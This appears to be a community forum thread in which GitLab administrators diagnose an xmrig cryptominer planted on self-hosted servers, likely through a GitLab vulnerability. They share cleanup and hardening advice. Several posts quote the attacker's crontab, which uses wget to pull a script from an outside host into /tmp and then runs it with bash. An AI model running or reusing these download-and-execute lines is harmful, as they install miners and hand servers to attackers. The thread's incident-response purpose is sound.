What is girmx?


I dont know if iam in the right place but I wanted some information regarding gitlab running services. I just want to ask if someone already or know something about “girmx”? When I run top in my server i see this which is consuming my CPU. Is girmx part of gitlab?

Thanks in advance!!!

Screenshot (193)|690x59

I don’t think so, there is no reference to such a thing in the whole Gitlab group: https://gitlab.com/search?utf8=✓&search=girmx&group_id=9970&project_id=&snippets=false&repository_ref=&nav_source=navbar (and I don’t find anything on the web as well)

Can you try to understand where is the executable located, running which girmx?

1 Like


Thanks for your reply. I tried running which girmx but nothing show as result. I will try some command maybe I can trace where it hides.

I found it…its a CPU miner and it hides in my git-data directory.

I also see xmrig-6.3.3 in the same directory its an open source cpu miner also.

Unless you put them there, it could mean it got dropped there from somewhere (eg: dodgy website) and is mining for someone else using your CPU/GPU. If that’s the case, you’ll want to delete these so that they don’t end up running again. There have been cases before where websites have dropped miners on peoples computers to mine in the background. Although a CPU miner isn’t going to earn much very quickly it’s still a nuisance considering the CPU usage. And more so if it decided to use your GPU as it can mine more and quicker but will affect your graphics card.

1 Like

Thanks for the info. I have deleted it but it came back again. How can I search for some kind of trigger that sending it back again to my server?

Could be difficult. It depends if your server is headless (without a desktop), or whether it has a desktop environment installed and running. But I expect if it’s without a running desktop, then there is a process on your machine which is running and downloading it when deleted. If there is a desktop environment, then it would be an infected web browser, which is downloading it in the background.

You can try installing the chkrootkit or rkhunter packages, and run these to see if it will find any type of issues, but they might not find it. You will have to check the running process list and filter out known processes and see if there is anything else suspicious running other than the girmx process. If running a desktop environment, depending on whatever it is, I would stop the display manager so that the desktop is no longer running, check/verify running processes for anything suspicious, then remove girmx again, and see if it returns.

That’s all I can really suggest at the moment but if it keeps coming back and you cannot find what is causing it, your only real way forward is to backup your gitlab installation, and then clean install your server from scratch and install gitlab again and restore your data related to gitlab. If the rootkit scanning packages find anything, that could help make it easier, but it might not find anything. Usually these are best to be installed before a machine is infected, as it has a database of the packages/processes installed and running to verify against.

Thank you so much! I guess my only option now is to do a clean install.

Thank you again and keep safe!

I’ve come across the same unauthorized installation. Have you been able to find a source?

I think I’ve found a source and method of compromise. Do you see a user named johnyj12345 with one or more issues and your secrets.yml file attached?

Additionally, did the miner appear only after a reboot?

1 Like

Yes, we had a girmx process and user johnyj12345 too. It registered on Jul 11, 2020 12:29pm.

Hi Everyone,

Is there any fix to this? Having the same issue as well.
Anyone have any idea on how I can block this?

Hi, in my case i find girmx file and xmrig-6.3.3 folder in /var/opt/gitlab/git-data, i try to delete both the file and the folder, but after a while they reappeared. Then I chose to logg in with root access and remove the file and folder permissions recursively. Restarting the instance is very important and voila, that worked for me. Remember to kill the girmx process before starting this process. I did not find any strange user like johnyj12345

Hi, I tried deleting those files using the root user however, it keeps on coming after a day.
Any idea on how to permanently remove this?

Recently located xmrig process on self hosted gitlab instance. It is owned by git user and group, which is strange, looks like it infected machine via exploit in gitlab software (gitlab is running on dedicated server and no more software is there).

The binary is located in /var/tmp/c3pool and there was another process /tmp/ook.sh which is downloading xmrig and running it. I believe, this virus uses vulnerability in gitlab. Does anyone know, how to provide the details to support? I’m free plan user, but almost sure, it affects all plans.

For those who met similar situation, you can try to investigate the malware by looking at suspicious processes running as git user. And you may want to find any processes running from tmp directory. This info may help to locate the malware. When found, remove all related files and don’t forget to kill the processes. I’d advise to reboot after those actions and check again. If processes still appear, probably, you’ll need to investigate startup and crontab scripts.

In my case, The XMRig Miner was ran as ‘/tmp/gitaly’ and under git user. My gitlab version : 13.0.14-ce .

Same issue here, I’m running a self hosted gitlab v 13.5.4, on a vm no more software running on it.
I found a process running under /tmp/.x/agetty, which is launching xmrig.

all the files under /tmp/.x are owned by git:git

executing crontab -l under thegit user i found:

50 12 * * * wget https://test123123123fdsafds.coding.net/p/test/d/test/git/raw/master/test --no-check-certificate -O /tmp/1.sh
52 12 * * * bash /tmp/1.sh

I guess this is exploiting gitlab vulnerabilities

I’m going to delete all related files and cron and upgrade gitlab.

Same issue also for me with 13.10.1 CE on an AWS instance.

git user crontab infection appens (2021-10-31 04:26:02.004894819 +0100):

50 12 * * * wget https://test123123123fdsafds.coding.net/p/test/d/test/git/raw/master/test --no-check-certificate -O /tmp/1.sh
52 12 * * * bash /tmp/1.sh

I just rollback to an older snapshot and upgrade gitlab to 14.4.1.

Luckily AWS notified me soon the abuse and automatically closed involved ports.
Now I changed security group policy. Outbounds rules allow only access to Ubuntu repo server for update.

Could anybody suggest some other countermeasure to prevent this type of incident?
Obviously other than keep system updated (my fault).

Thanks in advance

Thanks @mcc002, reading this article I undestood the RCE could be executed only by a logged gitlab user.

Anybody know if there is a way to find which gitlab user perform the violation. Consider I exactly know the time of the violation but if I understand well the action involved is a failed JPG upload to a Snippet, maybe a action without any log.
Is it correct?